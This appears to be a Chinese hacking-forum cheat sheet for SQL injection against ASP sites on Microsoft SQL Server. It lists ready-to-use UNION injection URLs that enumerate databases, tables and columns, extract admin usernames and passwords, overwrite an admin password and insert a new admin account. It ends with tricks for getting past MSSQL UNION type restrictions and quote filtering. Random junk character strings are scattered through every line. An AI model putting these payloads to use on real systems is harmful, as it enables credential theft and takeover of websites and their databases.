爆库:: c. C9 v6 i' n( {, M0 v0 W1 H% i
http://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.--2 Z2 f+ L4 ~2 X; A
SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA.( ^5 s9 B. L0 s+ l; [1 N, @6 {
爆下一个库:
% P# x: h( C! D* R4 N5 G; d* d) Phttp://duck/index.asp.id=10 UNION SELECT TOP 1 SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA WHERE TABLE_NAME NOT IN ('库名')--4 s# E5 T [/ N) e
4 ]; p( f4 z, w0 v2 U; G
爆表:
! I# T( a' T6 ]) }6 d% |8 x: qhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--9 ~. F" j9 H1 J$ U; s
# x4 h2 l5 U- G; I9 U' j5 Q2 kSELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES.5 t! o9 Q; s' t3 |6 r
- ~$ h/ N$ \ O; ~- S! D爆下一个表
6 [# f" H5 G3 {4 F, O J1 uhttp://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
5 g+ J! p6 ?( I$ w8 @/ S8 g( G+ A# p/ z( _7 |- m* q1 N+ D" u
http://duck/index.asp.id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%login%'--
9 P. [ Y" a6 H' o( w1 q0 c( W, y) b$ t3 g) Q
* A: o/ M( s, W0 g
0 s, ^, X- a! y" W$ A7 @, E& n4 {
爆字段:
/ |8 w) {6 N" O& zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--( M/ z- }' x; r
& q9 N$ v3 f ?4 g5 ~5 \+ W8 \' W爆下一个字段) A$ W1 ]- @7 m% o k' n) u) R3 D1 u2 b
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--$ J1 Y( E2 d9 _3 c3 r
% R. _* g1 I+ m. j! W
http://duck/index.asp.id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--" Y7 p# l: X3 ^; s
$ e+ J& b- H9 U# Y! b2 w* j! w; I& C2 q
爆字段里的内容
5 ]" [" `6 V, ~. u; [8 Zhttp://duck/index.asp.id=10 UNION SELECT TOP 1 login_name FROM admin_login--
' ~7 |2 d, L# P8 U
+ r+ ]( R2 ^4 A) P; E9 Bhttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--8 w" G8 s9 P; M! z3 y- I9 ?( g9 z
V, c% b5 G0 i; i% R# Q7 ^+ ohttp://duck/index.asp.id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
3 ~: s5 ^% Y" B
x, L) d- t( Y) u4 Thttp://duck/index.asp.id=10 UNION SELECT TOP 1 convert(int,password.morpheus.) FROM admin_login where login_name='trinity'--
) j% s* o# G$ \8 G; F
+ b9 M" F/ Z. K更新字段里的内容
2 L5 `9 H2 {; V$ t! rhttp://duck/index.asp.id=10; UPDATE .admin_login. SET .password. = .newpas5. WHERE login_name='neo'--" P. Y* K# R8 c, E+ [. R: b( w3 V
. U6 U( F1 Q: X7 T$ u; O/ \/ chttp://duck/index.asp.id=10; INSERT INTO .admin_login. (.login_id.,.login_name.,.password.,.details.) VALUES (666,.neo2.,.newpas5.,.NA.)--% C& F+ V- e; s) l/ H/ g) a8 o! L
. p0 v3 [8 O7 Z/ w, `8 a( ~1 ?, }5 O% ?- u" ]& {8 h7 _
: |4 s9 q4 K8 ~' d5 w 在注射的时候,access和mysql环境下,我们通常是通过union来获取数据的。但是遇到mssql环境,union很多时候都行不通,如果页面不报错,openrowset不可用,往往时候就只有暴力了。这样多不好,大家都是文明人,怎么可以用这么野蛮的手段呢?研究了一下,mssql中的union选择主要有以下几个方面的限制。
6 _8 q9 S- ^- l7 I( p, Q# S, y 第一个是varchar/nvarchar和int类型的字段union到一起会强制转换出错。这个可以去看superhei大牛N久以前的文章,用and 1=2 把union前面的结果集置空就可以解决了。0 e: o8 Y8 P5 w2 U2 E# X5 e
第二个是当前面语句选择的字段有text、ntext 或者image格式的时候,不能用DISTINCT 方式来选择,而带union的语句必然是以DISTINCT 方式来选择的。这也是为什么很多搜索型的注射点可以用union猜解的原因,因为搜索点的语句很少会选到前面三种格式的字段。Image是二进制格式,一般不会出现在需要回显的sql语句中。这种限制前段时间也看到牛淫给出了解决方法,union后面跟一个all,即union all就搞定了。真是神奇啊,牛淫就是牛淫。
( K' u" i# n% w4 x1 I7 I; h 最后还有一个限制是text/ntext 与 int类型的字段 union到一起时并不兼容,会报操作数类型冲突的错误,就算用1=2把union前面语句的结果置空也一样。前几天突然想到,union的时候我们经常用1,2,3……之类的常数来补齐相差的列数。这时候后面的语句选择的都是int类型的字段,遇到前面有text/ntext的字段当然会出错,如果加上引号呢,即'1’,'2’,'3’……的形式?这时候后面的字段都是char或者varchar的类型了,应该就不会出错了。如果注射点过滤了引号怎么办?因为mssql对16进制格式的支持不是太好,很多地方用16进制必须declare――set,那就用char吧,即and 1=2 union all select char(49),char(50)……的形式。
* N! G* _9 m. c$ D
2 D, n( d+ u" ^. H6 a6 A h; i突了了大部份限制的语句
( V T9 C7 B# g. a; X' d8 i1 Hand 1=2 union all select char(49),char(50),null,null;-- m$ `! u( j' A: p
5 B( R8 b, F7 z: e, i Z
! c9 n6 ]3 b& ~8 F# M
null也可以正常执行,不过没有回显,不好判断回显的列数。
" x7 W4 d! J- d一般union遇到问题都是有text或者ntext字段,image的很少遇到% H0 O4 x: L% x- }$ E3 n- a a3 k
. N3 [7 ^' M: Q1 o5 ]6 u1 ]" n可以先null完之后再一个个用1,2,3,4代替,这样就能逼出image类型的列鸟
3 G: ]' h6 G6 \* N1 a2 R' n2 |
0 {" a9 p4 P% T/ t/ b0 U& y: C5 K2 r0 b( N: x, {. Q
|